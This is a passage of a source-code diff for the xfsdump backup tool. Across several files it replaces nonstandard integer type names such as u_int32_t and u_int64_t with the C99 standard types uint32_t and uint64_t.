* )&hdrp[ 0 ]; - u_int32_t *endp = ( u_int32_t * )&hdrp[ 1 ]; - u_int32_t *p; - u_int32_t accum; + uint32_t *beginp = ( uint32_t * )&hdrp[ 0 ]; + uint32_t *endp = ( uint32_t * )&hdrp[ 1 ]; + uint32_t *p; + uint32_t accum; accum = 0; for ( p = beginp ; p < endp ; p++ ) { @@ -279,7 +279,7 @@ global_hdr_checksum_check( global_hdr_t *hdrp ) * else return BOOL_FALSE */ bool_t -global_version_check( u_int32_t version ) +global_version_check( uint32_t version ) { switch (version) { case GLOBAL_HDR_VERSION_0: diff --git a/common/global.h b/common/global.h index 537be0c..0b738de 100644 --- a/common/global.h +++ b/common/global.h @@ -43,15 +43,15 @@ struct global_hdr { char gh_magic[ GLOBAL_HDR_MAGIC_SZ ]; /* 8 8 */ /* unique signature of xfsdump */ - u_int32_t gh_version; /* 4 c */ + uint32_t gh_version; /* 4 c */ /* header version */ - u_int32_t gh_checksum; /* 4 10 */ + uint32_t gh_checksum; /* 4 10 */ /* 32-bit unsigned additive inverse of entire header */ time32_t gh_timestamp; /* 4 14 */ /* time32_t of dump */ char gh_pad1[ 4 ]; /* 4 18 */ /* alignment */ - u_int64_t gh_ipaddr; /* 8 20 */ + uint64_t gh_ipaddr; /* 8 20 */ /* from gethostid(2), room for expansion */ uuid_t gh_dumpid; /* 10 30 */ /* ID of dump session */ @@ -97,7 +97,7 @@ extern bool_t global_hdr_checksum_check( global_hdr_t *hdrp ); * else return BOOL_FALSE */ -extern bool_t global_version_check( u_int32_t version ); +extern bool_t global_version_check( uint32_t version ); #endif /* GLOBAL_H */ diff --git a/common/hsmapi.c b/common/hsmapi.c index ed29370..489223d 100644 --- a/common/hsmapi.c +++ b/common/hsmapi.c @@ -137,7 +137,7 @@ typedef struct { static inline void msb_store( u_char *dest, - u_int64_t src, + uint64_t src, int length) { int i; @@ -155,12 +155,12 @@ msb_store( * Returns * value ******************************************************************************/ -static inline u_int64_t +static inline uint64_t msb_load( u_char *src, int length) { - u_int64_t tmp = 0; + uint64_t tmp = 0; int i; for (i = 0; i < length; i++) { @@ -634,7 +634,7 @@ extern int HsmFilterExistingAttribute( hsm_f_ctxt_t *hsm_f_ctxtp, const char *namep, /* attribute name */ - u_int32_t valuesz, /* value size */ + uint32_t valuesz, /* value size */ int flag, int *skip_entry) { @@ -698,7 +698,7 @@ HsmAddNewAttribute( int flag, char **namepp, /* pointer to new attribute name */ char **valuepp, /* pointer to its value */ - u_int32_t *valueszp) /* pointer to the value size */ + uint32_t *valueszp) /* pointer to the value size */ { dmf_f_ctxt_t *dmf_f_ctxtp = (dmf_f_ctxt_t *)hsm_f_ctxtp; XFSattrvalue1_t *dmfattr1p = (XFSattrvalue1_t *)dmf_f_ctxtp->attrval; diff --git a/common/hsmapi.h b/common/hsmapi.h index 665499c..b6d035d 100644 --- a/common/hsmapi.h +++ b/common/hsmapi.h @@ -252,7 +252,7 @@ extern int HsmFilterExistingAttribute( hsm_f_ctxt_t *hsm_f_ctxtp, const char *namep, /* name of attribute to filter */ - u_int32_t valuesz, /* attribute's current value size */ + uint32_t valuesz, /* attribute's current value size */ int flag, /* ext attr flags */ int *skip_entry); @@ -290,7 +290,7 @@ HsmAddNewAttribute( int flag, /* ext attr flags */ char **namepp, /* pointer to new attribute name */ char **valuepp, /* pointer to its value */ - u_int32_t *valueszp); /* pointer to the value size */ + uint32_t *valueszp); /* pointer to the value size */ /****************************************************************************** diff --git a/common/inventory.c b/common/inventory.c index d1c067b..83e1ebb 100644 --- a/common/inventory.c +++ b/common/inventory.c @@ -80,7 +80,7 @@ inv_open( inv_predicate_t bywhat, void *pred ) } /* create another storage object ( and, an inv_index entry for it too ) if we've filled this one up */ - if ( (u_int) num >= sescnt->ic_maxnum ) { + if ( (uint) num >= sescnt->ic_maxnum ) { #ifdef INVT_DEBUG printf("$ creating a new storage obj & index entry. \n" ); #endif @@ -225,7 +225,7 @@ inv_writesession_open( uuid_t *sesid, char *label, u_char level, - u_int nstreams, + uint nstreams, time32_t time, char *mntpt, char *devpath ) diff --git a/common/inventory.h b/common/inventory.h index 351f6e0..f9fcb19 100644 --- a/common/inventory.h +++ b/common/inventory.h @@ -98,7 +98,7 @@ typedef struct inv_stream { typedef struct inv_session { uuid_t s_fsid; /* file system */ uuid_t s_sesid; /* this dump session's id: 16 bytes*/ - u_int s_nstreams; /* number of media streams recorded */ + uint s_nstreams; /* number of media streams recorded */ inv_stream_t *s_streams; /* array of streams */ time32_t s_time; /* time of the dump */ u_char s_level; /* dump level */ @@ -159,7 +159,7 @@ inv_writesession_open( uuid_t *sesid, char *label, u_char level, - u_int nstreams, + uint nstreams, time32_t time, char *mntpt, char *devpath ); diff --git a/common/main.c b/common/main.c index 08bf574..e381e85 100644 --- a/common/main.c +++ b/common/main.c @@ -170,10 +170,10 @@ main( int argc, char *argv[] ) assert( sizeof( char_t ) == 1 ); assert( sizeof( u_char_t ) == 1 ); assert( sizeof( int32_t ) == 4 ); - assert( sizeof( u_int32_t ) == 4 ); + assert( sizeof( uint32_t ) == 4 ); assert( sizeof( size32_t ) == 4 ); assert( sizeof( int64_t ) == 8 ); - assert( sizeof( u_int64_t ) == 8 ); + assert( sizeof( uint64_t ) == 8 ); assert( sizeof( size64_t ) == 8 ); /* record the command name used to invoke @@ -662,7 +662,7 @@ main( int argc, char *argv[] ) * signals. */ if ( progrpt_enabledpr ) { - ( void )alarm( ( u_int )progrpt_interval ); + ( void )alarm( ( uint )progrpt_interval ); } for ( ; ; ) { time32_t now; @@ -813,7 +813,7 @@ main( int argc, char *argv[] ) "setting alarm for %d second%s\n", timeout, timeout == 1 ? "" : "s" ); - ( void )alarm( ( u_int )timeout ); + ( void )alarm( ( uint )timeout ); if ( timeout == 0 ) { continue; } @@ -835,7 +835,7 @@ main( int argc, char *argv[] ) statline[ i ] ); } } - ( void )alarm( ( u_int )( progrpt_deadline + ( void )alarm( ( uint )( progrpt_deadline - now )); } diff --git a/common/media.h b/common/media.h index ee1975f..0b727e5 100644 --- a/common/media.h +++ b/common/media.h @@ -46,15 +46,15 @@ struct media_hdr { /* ID of upstream media object */ char mh_pad2[ GLOBAL_HDR_UUID_SZ ]; /* 10 330 */ /* in case more IDs needed */ - u_int32_t mh_mediaix; /* 4 334 */ + uint32_t mh_mediaix; /* 4 334 */ /* 0-based index of this media object within the dump stream */ - u_int32_t mh_mediafileix; /* 4 338 */ + uint32_t mh_mediafileix; /* 4 338 */ /* 0-based index of this file within this media object */ - u_int32_t mh_dumpfileix; /* 4 33c */ + uint32_t mh_dumpfileix; /* 4 33c */ /* 0-based index of this file within this dump stream */ - u_int32_t mh_dumpmediafileix; /* 4 340 */ + uint32_t mh_dumpmediafileix; /* 4 340 */ /* 0-based index of file within dump stream and media object */ - u_int32_t mh_dumpmediaix; /* 4 344 */ + uint32_t mh_dumpmediaix; /* 4 344 */ /* 0-based index of this dump within the media object */ int32_t mh_strategyid; /* 4 348 */ /* ID of the media strategy used to produce this dump */ diff --git a/common/rec_hdr.h b/common/rec_hdr.h index b8f4571..552447c 100644 --- a/common/rec_hdr.h +++ b/common/rec_hdr.h @@ -36,7 +36,7 @@ * structure, and add a endian conversion function to arch_xlate.c */ struct rec_hdr { - u_int64_t magic; /* 8 8 */ + uint64_t magic; /* 8 8 */ /* magic number STAPE_MAGIC (see above) */ int32_t version; /* 4 c */ @@ -62,7 +62,7 @@ struct rec_hdr { /* raw media file byte offset of first mark set * in this record. set to -1 if no marks in record */ - u_int32_t rec_used; /* 4 34 */ + uint32_t rec_used; /* 4 34 */ /* portion of record containing user data plus rec hdr (bytes). * normally set to record size. last record written may * indicate smaller value. includes record header. diff --git a/common/types.h b/common/types.h index 9afb3a7..235f52a 100644 --- a/common/types.h +++ b/common/types.h @@ -18,6 +18,11 @@ #ifndef TYPES_H #define TYPES_H +/* + * Pull in all the standard C types first. + */ +#include + #define XFSDUMP_DIRPATH inv_basepath() /* @@ -34,11 +39,11 @@ /* integers */ -typedef u_int32_t size32_t; -typedef u_int64_t size64_t; +typedef uint32_t size32_t; +typedef uint64_t size64_t; typedef char char_t; typedef unsigned char u_char_t; -typedef unsigned int u_int; +typedef unsigned int uint; typedef long long_t; typedef unsigned long u_long_t; typedef size_t ix_t; @@ -63,15 +68,15 @@ typedef int32_t time32_t; #define MKSMAX( t ) MKMAX( t, 1ull ) #define MKUMAX( t ) MKMAX( t, 0ull ) #define INT32MAX MKSMAX( int32_t ) -#define UINT32MAX MKUMAX( u_int32_t ) +#define UINT32MAX MKUMAX( uint32_t ) #define SIZE32MAX MKUMAX( size32_t ) #define INT64MAX MKSMAX( int64_t ) -#define UINT64MAX MKUMAX( u_int64_t ) +#define UINT64MAX MKUMAX( uint64_t ) #define SIZE64MAX MKUMAX( size64_t ) #define INO64MAX MKUMAX( xfs_ino_t ) #define OFF64MAX MKSMAX( off64_t ) #define INTGENMAX MKSMAX( int ) -#define UINTGENMAX MKUMAX( u_int ) +#define UINTGENMAX MKUMAX( uint ) #define OFFMAX MKSMAX( off_t ) #define SIZEMAX MKUMAX( size_t ) #define IXMAX MKUMAX( size_t ) diff --git a/dump/content.c b/dump/content.c index 00a7bad..fcd7dd7 100644 --- a/dump/content.c +++ b/dump/content.c @@ -363,7 +363,7 @@ static char *dump_extattr_buildrecord( xfs_bstat_t *statp, char *dumpbufp, char *dumpbufendp, char *namesrcp, - u_int32_t valuesz, + uint32_t valuesz, int flag, char **valuepp ); static rv_t dump_extattrhdr( drive_t *drivep, @@ -372,7 +372,7 @@ static rv_t dump_extattrhdr( drive_t *drivep, size_t recsz, size_t valoff, ix_t flags, - u_int32_t valsz ); + uint32_t valsz ); static bool_t save_quotas( char *mntpnt, quota_info_t *quotainfo ); @@ -385,8 +385,8 @@ static int getxfsqstat( char *fsdev ); bool_t content_media_change_needed; char *media_change_alert_program = NULL; hsm_fs_ctxt_t *hsm_fs_ctxtp = NULL; -u_int64_t hdr_mfilesz = 0; -u_int64_t maxdumpfilesize = 0; +uint64_t hdr_mfilesz = 0; +uint64_t maxdumpfilesize = 0; bool_t allowexcludefiles_pr = BOOL_FALSE; /* definition of locally defined static variables *****************************/ @@ -554,14 +554,14 @@ content_init( int argc, char *baseuuidstr = NULL; uuid_t baseuuid; bool_t baseuuidvalpr; - u_int64_t dircnt; - u_int64_t nondircnt; - u_int64_t datasz; - u_int64_t inocnt; - u_int64_t inomapsz; - u_int64_t direntsz; - u_int64_t filesz; - u_int64_t size_estimate; + uint64_t dircnt; + uint64_t nondircnt; + uint64_t datasz; + uint64_t inocnt; + uint64_t inomapsz; + uint64_t direntsz; + uint64_t filesz; + uint64_t size_estimate; /* basic sanity checks */ @@ -1517,8 +1517,8 @@ baseuuidbypass: datasz = scwhdrtemplatep->cih_inomap_datasz; inocnt = dircnt + nondircnt; inomapsz = inomap_getsz( ); - direntsz = inocnt * ( u_int64_t )( DIRENTHDR_SZ + 8 ); - filesz = inocnt * ( u_int64_t )( FILEHDR_SZ + EXTENTHDR_SZ ); + direntsz = inocnt * ( uint64_t )( DIRENTHDR_SZ + 8 ); + filesz = inocnt * ( uint64_t )( FILEHDR_SZ + EXTENTHDR_SZ ); hdr_mfilesz = GLOBAL_HDR_SZ + @@ -2563,7 +2563,7 @@ decision_more: ok = inv_put_mediafile( inv_stmt, &mwhdrp->mh_mediaid, mwhdrp->mh_medialabel, - ( u_int )mwhdrp->mh_mediafileix, + ( uint )mwhdrp->mh_mediafileix, startino, startoffset, scwhdrp->cih_startpt.sp_ino, @@ -3445,7 +3445,7 @@ dump_extattr_list( drive_t *drivep, char *hsmnamep; char *hsmvaluep; char *valuep; - u_int32_t hsmvaluesz; + uint32_t hsmvaluesz; if (!HsmAddNewAttribute(contextp->cc_hsm_f_ctxtp, hsmcursor, @@ -3558,16 +3558,16 @@ dump_extattr_buildrecord( xfs_bstat_t *statp, char *dumpbufp, char *dumpbufendp, char *namesrcp, - u_int32_t valuesz, + uint32_t valuesz, int flag, char **valuepp ) { extattrhdr_t *ahdrp = ( extattrhdr_t * )dumpbufp; char *namep = dumpbufp + EXTATTRHDR_SZ; - u_int32_t namelen = strlen( namesrcp ); - u_int32_t namesz = namelen + 1; + uint32_t namelen = strlen( namesrcp ); + uint32_t namesz = namelen + 1; char *valuep = namep + namesz; - u_int32_t recsz = EXTATTRHDR_SZ + namesz + valuesz; + uint32_t recsz = EXTATTRHDR_SZ + namesz + valuesz; extattrhdr_t tmpah; recsz = ( recsz + ( EXTATTRHDR_ALIGN - 1 )) @@ -3620,8 +3620,8 @@ dump_extattr_buildrecord( xfs_bstat_t *statp, memset( ( void * )&tmpah, 0, sizeof( tmpah )); tmpah.ah_sz = recsz; assert( EXTATTRHDR_SZ + namesz < UINT16MAX ); - tmpah.ah_valoff = ( u_int16_t )( EXTATTRHDR_SZ + namesz ); - tmpah.ah_flags = ( u_int16_t ) + tmpah.ah_valoff = ( uint16_t )( EXTATTRHDR_SZ + namesz ); + tmpah.ah_flags = ( uint16_t ) (( flag & ATTR_ROOT ) ? EXTATTRHDR_FLAGS_ROOT : (( flag & ATTR_SECURE ) ? EXTATTRHDR_FLAGS_SECURE : 0)); tmpah.ah_valsz = valuesz; @@ -3641,7 +3641,7 @@ dump_extattrhdr( drive_t *drivep, size_t recsz, size_t valoff, ix_t flags, - u_int32_t valsz ) + uint32_t valsz ) { extattrhdr_t ahdr; extattrhdr_t tmpahdr; @@ -3651,8 +3651,8 @@ dump_extattrhdr( drive_t *drivep, memset( ( void * )&ahdr, 0, sizeof( ahdr )); ahdr.ah_sz = recsz; assert( valoff < UINT16MAX ); - ahdr.ah_valoff = ( u_int16_t )valoff; - ahdr.ah_flags = ( u_int16_t )flags | EXTATTRHDR_FLAGS_CHECKSUM; + ahdr.ah_valoff = ( uint16_t )valoff; + ahdr.ah_flags = ( uint16_t )flags | EXTATTRHDR_FLAGS_CHECKSUM; ahdr.ah_valsz = valsz; ahdr.ah_checksum = calc_checksum( &ahdr, EXTATTRHDR_SZ ); @@ -5120,8 +5120,8 @@ dump_dirent( drive_t *drivep, memset( ( void * )dhdrp, 0, sz ); dhdrp->dh_ino = ino; - dhdrp->dh_sz = ( u_int16_t )sz; - dhdrp->dh_gen = ( u_int16_t )( gen & DENTGENMASK ); + dhdrp->dh_sz = ( uint16_t )sz; + dhdrp->dh_gen = ( uint16_t )( gen & DENTGENMASK ); if ( name ) { strcpy( dhdrp->dh_name, name ); } @@ -5139,7 +5139,7 @@ dump_dirent( drive_t *drivep, memset( ( void * )dhdrp, 0, sz ); dhdrp->dh_ino = ino; dhdrp->dh_gen = gen; - dhdrp->dh_sz = ( u_int16_t )sz; + dhdrp->dh_sz = ( uint16_t )sz; if ( name ) { strcpy( dhdrp->dh_name, name ); } @@ -5327,7 +5327,7 @@ dump_session_inv( drive_t *drivep, ok = inv_put_mediafile( inv_stmt, &mediaid, medialabel, - ( u_int )mediafileix, + ( uint )mediafileix, (xfs_ino_t )0, ( off64_t )0, (xfs_ino_t )0, @@ -5572,8 +5572,8 @@ Media_mfile_begin( drive_t *drivep, context_t *contextp, bool_t intr_allowed ) switch ( entrystate ) { case BES_INIT: mediawrittentopr = BOOL_FALSE; - mwhdrp->mh_mediaix = ( u_int32_t )( -1 ); - mwhdrp->mh_dumpfileix = ( u_int32_t )( -1 ); + mwhdrp->mh_mediaix = ( uint32_t )( -1 ); + mwhdrp->mh_dumpfileix = ( uint32_t )( -1 ); if ( dcaps & DRIVE_CAP_READ ) { mediapresentpr = BOOL_UNKNOWN; virginmediapr = BOOL_UNKNOWN; @@ -6030,8 +6030,8 @@ write: mwhdrp->mh_mediaix++; /* pre-initialized to -1 */ } - assert( mwhdrp->mh_mediaix != ( u_int32_t )( -1 )); - assert( mwhdrp->mh_dumpfileix != ( u_int32_t )( -1 )); + assert( mwhdrp->mh_mediaix != ( uint32_t )( -1 )); + assert( mwhdrp->mh_dumpfileix != ( uint32_t )( -1 )); /* do not allow interleaving of media files from different xfsdumps. */ diff --git a/dump/inomap.c b/dump/inomap.c index 06f3869..4e57a78 100644 --- a/dump/inomap.c +++ b/dump/inomap.c @@ -62,7 +62,7 @@ extern bool_t preemptchk( int ); extern size_t pgsz; extern hsm_fs_ctxt_t *hsm_fs_ctxtp; -extern u_int64_t maxdumpfilesize; +extern uint64_t maxdumpfilesize; extern bool_t allowexcludefiles_pr; /* forward declarations of locally defined static functions ******************/ @@ -133,8 +133,8 @@ static int subtreelist_parse( jdm_fshandle_t *, static ix_t *inomap_statphasep; static ix_t *inomap_statpassp; static size64_t *inomap_statdonep; -static u_int64_t inomap_exclude_filesize = 0; -static u_int64_t inomap_exclude_skipattr = 0; +static uint64_t inomap_exclude_filesize = 0; +static uint64_t inomap_exclude_skipattr = 0; /* definition of locally defined global functions ****************************/ @@ -949,7 +949,7 @@ cb_startpt( void *arg1, /* define structure for ino to gen mapping. */ struct i2gseg { - u_int64_t s_valid; + uint64_t s_valid; gen_t s_gen[ INOPERSEG ]; }; typedef struct i2gseg i2gseg_t; @@ -971,10 +971,10 @@ static inline void SEG_SET_BITS( seg_t *segp, xfs_ino_t ino, int state ) { register xfs_ino_t relino; - register u_int64_t mask; - register u_int64_t clrmask; + register uint64_t mask; + register uint64_t clrmask; relino = ino - segp->base; - mask = ( u_int64_t )1 << relino; + mask = ( uint64_t )1 << relino; clrmask = ~mask; switch( state ) { case 0: @@ -1025,9 +1025,9 @@ SEG_GET_BITS( seg_t *segp, xfs_ino_t ino ) { int state; register xfs_ino_t relino; - register u_int64_t mask; + register uint64_t mask; relino = ino - segp->base; - mask = ( u_int64_t )1 << relino; + mask = ( uint64_t )1 << relino; if ( segp->lobits & mask ) { state = 1; } else { @@ -1063,7 +1063,7 @@ inomap_init( int igrpcnt ) return 0; } -u_int64_t +uint64_t inomap_getsz( void ) { return (inomap.lastseg.hnkoff + 1) * HNKSZ; @@ -1378,7 +1378,7 @@ inomap_set_gen(void *contextp, xfs_ino_t ino, gen_t gen) i2gsegp = &inomap.i2gmap[inomap_addr2segix( addrp )]; relino = ino - segp->base; - i2gsegp->s_valid |= (u_int64_t)1 << relino; + i2gsegp->s_valid |= (uint64_t)1 << relino; i2gsegp->s_gen[relino] = gen; } @@ -1399,7 +1399,7 @@ inomap_get_gen( void *contextp, xfs_ino_t ino, gen_t *gen ) i2gsegp = &inomap.i2gmap[inomap_addr2segix( addrp )]; relino = ino - segp->base; - if ( ! (i2gsegp->s_valid & ((u_int64_t)1 << relino)) ) + if ( ! (i2gsegp->s_valid & ((uint64_t)1 << relino)) ) return 1; *gen = i2gsegp->s_gen[relino]; @@ -1413,11 +1413,11 @@ inomap_writehdr( content_inode_hdr_t *scwhdrp ) */ scwhdrp->cih_inomap_hnkcnt = inomap.lastseg.hnkoff + 1; scwhdrp->cih_inomap_segcnt = inomap_addr2segix( &inomap.lastseg ) + 1; - scwhdrp->cih_inomap_dircnt = ( u_int64_t )cb_dircnt; - scwhdrp->cih_inomap_nondircnt = ( u_int64_t )cb_nondircnt; + scwhdrp->cih_inomap_dircnt = ( uint64_t )cb_dircnt; + scwhdrp->cih_inomap_nondircnt = ( uint64_t )cb_nondircnt; scwhdrp->cih_inomap_firstino = inomap.hnkmap[0].seg[ 0 ].base; scwhdrp->cih_inomap_lastino = inomap.hnkmap[inomap.lastseg.hnkoff].maxino; - scwhdrp->cih_inomap_datasz = ( u_int64_t )cb_datasz; + scwhdrp->cih_inomap_datasz = ( uint64_t )cb_datasz; } rv_t diff --git a/dump/inomap.h b/dump/inomap.h index 663b434..f222642 100644 --- a/dump/inomap.h +++ b/dump/inomap.h @@ -65,7 +65,7 @@ extern bool_t inomap_build( jdm_fshandle_t *fshandlep, size64_t statcnt, size64_t *statdonep ); -extern u_int64_t inomap_getsz( void ); +extern uint64_t inomap_getsz( void ); /* inomap_skip - tell inomap about inodes to skip in the dump */ @@ -103,9 +103,9 @@ extern rv_t inomap_dump( drive_t *drivep ); */ struct seg { xfs_ino_t base; - u_int64_t lobits; - u_int64_t mebits; - u_int64_t hibits; + uint64_t lobits; + uint64_t mebits; + uint64_t hibits; }; typedef struct seg seg_t; diff --git a/inventory/inv_api.c b/inventory/inv_api.c index 4c1855b..888c425 100644 --- a/inventory/inv_api.c +++ b/inventory/inv_api.c @@ -94,7 +94,7 @@ inv_open( inv_predicate_t bywhat, inv_oflag_t forwhat, void *pred ) /* create another storage object ( and, an inv_index entry for it too ) if we've filled this one up */ - if ( (u_int) num >= sescnt->ic_maxnum ) { + if ( (uint) num >= sescnt->ic_maxnum ) { mlog( MLOG_DEBUG | MLOG_INV, "$ INV: creating a new storage obj & " "index entry. \n" ); INVLOCK( stobjfd, LOCK_UN ); @@ -163,7 +163,7 @@ inv_writesession_open( bool_t ispartial, bool_t isresumed, u_char level, - u_int nstreams, + uint nstreams, time32_t time, char *mntpt, char *devpath ) @@ -439,7 +439,7 @@ inv_put_mediafile( inv_stmtoken_t tok, uuid_t *moid, char *label, - u_int mfileindex, + uint mfileindex, xfs_ino_t startino, off64_t startino_offset, xfs_ino_t endino, diff --git a/inventory/inv_core.c b/inventory/inv_core.c index 419f575..a17c2c9 100644 --- a/inventory/inv_core.c +++ b/inventory/inv_core.c @@ -49,7 +49,7 @@ int get_counters( int fd, void **cntpp, size_t cntsz ) { /* object must be locked at least SHARED by caller */ - u_int num; + uint num; assert( cntsz >= sizeof( invt_counter_t ) ); *cntpp = calloc( 1, cntsz); @@ -238,7 +238,7 @@ get_lastheader( int fd, void **ent, size_t hdrsz, size_t cntsz ) /* if there's space anywhere at all, then it must be in the last entry */ *ent = malloc( hdrsz ); - pos = (char *) arr + ( (u_int)nindices - 1 ) * hdrsz; + pos = (char *) arr + ( (uint)nindices - 1 ) * hdrsz; memcpy( *ent, pos, hdrsz ); free ( arr ); free ( cnt ); diff --git a/inventory/inv_idx.c b/inventory/inv_idx.c index 13b64db..95529e8 100644 --- a/inventory/inv_idx.c +++ b/inventory/inv_idx.c @@ -43,13 +43,13 @@ /* given a time, find the invindex that has the time-period it can fit */ /* into. */ /*----------------------------------------------------------------------*/ -u_int +uint idx_insert_newentry( int fd, /* kept locked EX by caller */ int *stobjfd, /* OUT */ invt_entry_t *iarr, invt_counter_t *icnt, time32_t tm ) { - u_int i; + uint i; inv_oflag_t forwhat = INV_SEARCH_N_MOD; /* invt_entry_t ient; ient.ie_timeperiod.tp_start = ient.ie_timeperiod.tp_end = tm; */ @@ -162,7 +162,7 @@ idx_put_newentry( int stobjfd; int fd = idx->invfd; /* kept locked EX by caller */ - u_int index = idx->index + 1; + uint index = idx->index + 1; invt_entry_t *iarr = idx->iarr; invt_counter_t *icnt = idx->icnt; @@ -356,7 +356,7 @@ idx_put_sesstime( inv_sestoken_t tok, bool_t whichtime) sizeof( invt_counter_t ))) < 0 ) { return -1; } - idx_DEBUG_printinvindices( iarr, (u_int) nindices ); + idx_DEBUG_printinvindices( iarr, (uint) nindices ); free( iarr ); free( icnt ); } @@ -496,10 +496,10 @@ idx_get_stobj( int invfd, inv_oflag_t forwhat, int *index ) int -idx_DEBUG_printinvindices( invt_entry_t *iarr, u_int num ) +idx_DEBUG_printinvindices( invt_entry_t *iarr, uint num ) { - u_int i; - u_int k; + uint i; + uint k; char s[9]; printf( "\n ==================================\n" @@ -533,7 +533,7 @@ idx_DEBUG_print ( int fd ) sizeof( invt_counter_t ))) < 0 ) { return -1; } - idx_DEBUG_printinvindices( iarr, (u_int) nindices ); + idx_DEBUG_printinvindices( iarr, (uint) nindices ); free( iarr ); free( icnt ); @@ -543,7 +543,7 @@ idx_DEBUG_print ( int fd ) int -DEBUG_displayallsessions( int fd, invt_seshdr_t *hdr, u_int ref, +DEBUG_displayallsessions( int fd, invt_seshdr_t *hdr, uint ref, invt_pr_ctx_t *prctx) { inv_session_t *ses; diff --git a/inventory/inv_mgr.c b/inventory/inv_mgr.c index 1b99d5c..e521f24 100644 --- a/inventory/inv_mgr.c +++ b/inventory/inv_mgr.c @@ -346,7 +346,7 @@ invmgr_inv_print( invt_entry_t *iarr = NULL; invt_counter_t *icnt = NULL; int nindices; - u_int ref = 0; + uint ref = 0; if (invfd == I_EMPTYINV) return 0; @@ -363,7 +363,7 @@ invmgr_inv_print( free( icnt ); if (prctx->invidx) { - idx_DEBUG_printinvindices( iarr, (u_int) nindices ); + idx_DEBUG_printinvindices( iarr, (uint) nindices ); free(iarr); return (0); } diff --git a/inventory/inv_priv.h b/inventory/inv_priv.h index 598c366..1690271 100644 --- a/inventory/inv_priv.h +++ b/inventory/inv_priv.h @@ -48,8 +48,8 @@ #define NEW_INVINDEX 2 /* session flags ( seshdr.sh_flag ) */ -#define INVT_PARTIAL (u_int)0x0001 -#define INVT_RESUMED (u_int)0x0002 +#define INVT_PARTIAL (uint)0x0001 +#define INVT_RESUMED (uint)0x0002 /* media file flags ( mfile.mf_flag ) */ #define INVT_MFILE_GOOD (u_char)0x01 @@ -108,9 +108,9 @@ typedef struct invt_session { char s_label[INV_STRLEN]; /* session label */ char s_mountpt[INV_STRLEN];/* path to the mount point */ char s_devpath[INV_STRLEN];/* path to the device */ - u_int s_cur_nstreams;/* number of streams created under + uint s_cur_nstreams;/* number of streams created under this session so far */ - u_int s_max_nstreams;/* number of media streams in + uint s_max_nstreams;/* number of media streams in the session */ char s_padding[16]; } invt_session_t; @@ -148,7 +148,7 @@ typedef struct invt_stream { off64_t st_firstmfile; /*offsets to the start and end of*/ off64_t st_lastmfile; /* .. linked list of mediafiles */ char st_cmdarg[INV_STRLEN]; /* drive path */ - u_int st_nmediafiles; /* number of mediafiles */ + uint st_nmediafiles; /* number of mediafiles */ bool_t st_interrupted; /* was this stream interrupted ? */ char st_padding[16]; } invt_stream_t; @@ -163,7 +163,7 @@ typedef struct invt_mediafile { media file with */ off64_t mf_nextmf; /* links to other mfiles */ off64_t mf_prevmf; - u_int mf_mfileidx; /* index within the media object */ + uint mf_mfileidx; /* index within the media object */ u_char mf_flag; /* Currently MFILE_GOOD, INVDUMP */ off64_t mf_size; /* size of the media file */ char mf_padding[15]; @@ -185,9 +185,9 @@ typedef struct invt_entry { /* Cheap Inheritance, and an attempt to avoid a nested type */ #define INVT_COUNTER_FIELDS \ __uint32_t ic_vernum;/* on disk version number for posterity */\ - u_int ic_curnum;/* number of sessions/invindices recorded \ + uint ic_curnum;/* number of sessions/invindices recorded \ so far */ \ - u_int ic_maxnum;/* maximum number of sessions/inv_indices \ + uint ic_maxnum;/* maximum number of sessions/inv_indices \ that we can record on this stobj */ #define INVT_COUNTER_FIELDS_SIZE 0xc @@ -272,7 +272,7 @@ typedef struct invt_idxinfo { int invfd; invt_counter_t *icnt; invt_entry_t *iarr; - u_int index; + uint index; }invt_idxinfo_t; #define INVT_MOID 1 @@ -366,7 +366,7 @@ idx_put_sesstime( inv_sestoken_t tok, bool_t whichtime); int idx_find_stobj( invt_idxinfo_t *idx, time32_t tm ); -u_int +uint idx_insert_newentry( int fd, int *stobjfd, invt_entry_t *iarr, invt_counter_t *icnt, time32_t tm ); @@ -380,7 +380,7 @@ int idx_recons_time( time32_t tm, invt_idxinfo_t *idx ); int -idx_DEBUG_printinvindices( invt_entry_t *iarr, u_int num ); +idx_DEBUG_printinvindices( invt_entry_t *iarr, uint num ); int idx_DEBUG_print ( int fd ); @@ -415,10 +415,10 @@ int stobj_hdrcmp( const void *h1, const void *h2 ); int -stobj_sortheaders( int fd, u_int num ); +stobj_sortheaders( int fd, uint num ); -u_int -stobj_find_splitpoint( int fd, invt_seshdr_t *harr, u_int ns, time32_t tm ); +uint +stobj_find_splitpoint( int fd, invt_seshdr_t *harr, uint ns, time32_t tm ); int stobj_split( invt_idxinfo_t *idx, int fd, invt_sescounter_t *sescnt, @@ -467,7 +467,7 @@ stobj_copy_invsess( int fd, invt_seshdr_t *hdr, invt_session_t *ses, inv_session_t **buf); void -DEBUG_sessionprint( inv_session_t *ses, u_int ref, invt_pr_ctx_t *prctx); +DEBUG_sessionprint( inv_session_t *ses, uint ref, invt_pr_ctx_t *prctx); void DEBUG_sessprint( invt_session_t *ses ); @@ -572,7 +572,7 @@ bool_t lastsess_level_equalto( int fd, invt_seshdr_t *hdr, void *arg, void **buf ); int -DEBUG_displayallsessions( int fd, invt_seshdr_t *hdr, u_int ref, +DEBUG_displayallsessions( int fd, invt_seshdr_t *hdr, uint ref, invt_pr_ctx_t *prctx); int diff --git a/inventory/inv_stobj.c b/inventory/inv_stobj.c index 0b6aa45..0763d0b 100644 --- a/inventory/inv_stobj.c +++ b/inventory/inv_stobj.c @@ -62,7 +62,7 @@ stobj_insert_session( invt_idxinfo_t *idx, /* Check the existing sessions to make sure that we're not duplicating this session */ if ( sescnt->ic_curnum > 0 ) { - u_int i; + uint i; invt_session_t *sessions = calloc( sescnt->ic_curnum, sizeof( invt_session_t ) ); if ( GET_REC_NOLOCK( fd, sessions, sescnt->ic_curnum * @@ -123,10 +123,10 @@ stobj_insert_session( invt_idxinfo_t *idx, /* ARGSUSED */ -u_int -stobj_find_splitpoint( int fd, invt_seshdr_t *harr, u_int ns, time32_t tm ) +uint +stobj_find_splitpoint( int fd, invt_seshdr_t *harr, uint ns, time32_t tm ) { - u_int i; + uint i; if ( harr[ns-1].sh_time < tm ) return ns; @@ -165,7 +165,7 @@ stobj_split( invt_idxinfo_t *idx, int fd, invt_sescounter_t *sescnt, invt_sessinfo_t *newsess ) { invt_seshdr_t *harr = NULL; - u_int i, ix, ns = sescnt->ic_curnum; + uint i, ix, ns = sescnt->ic_curnum; void *bufpp; size_t bufszp; invt_sessinfo_t sesinfo; @@ -341,7 +341,7 @@ stobj_put_session( sescnt->ic_eof += (off64_t)( ses->s_max_nstreams * sizeof( invt_stream_t ) ); } else { - u_int 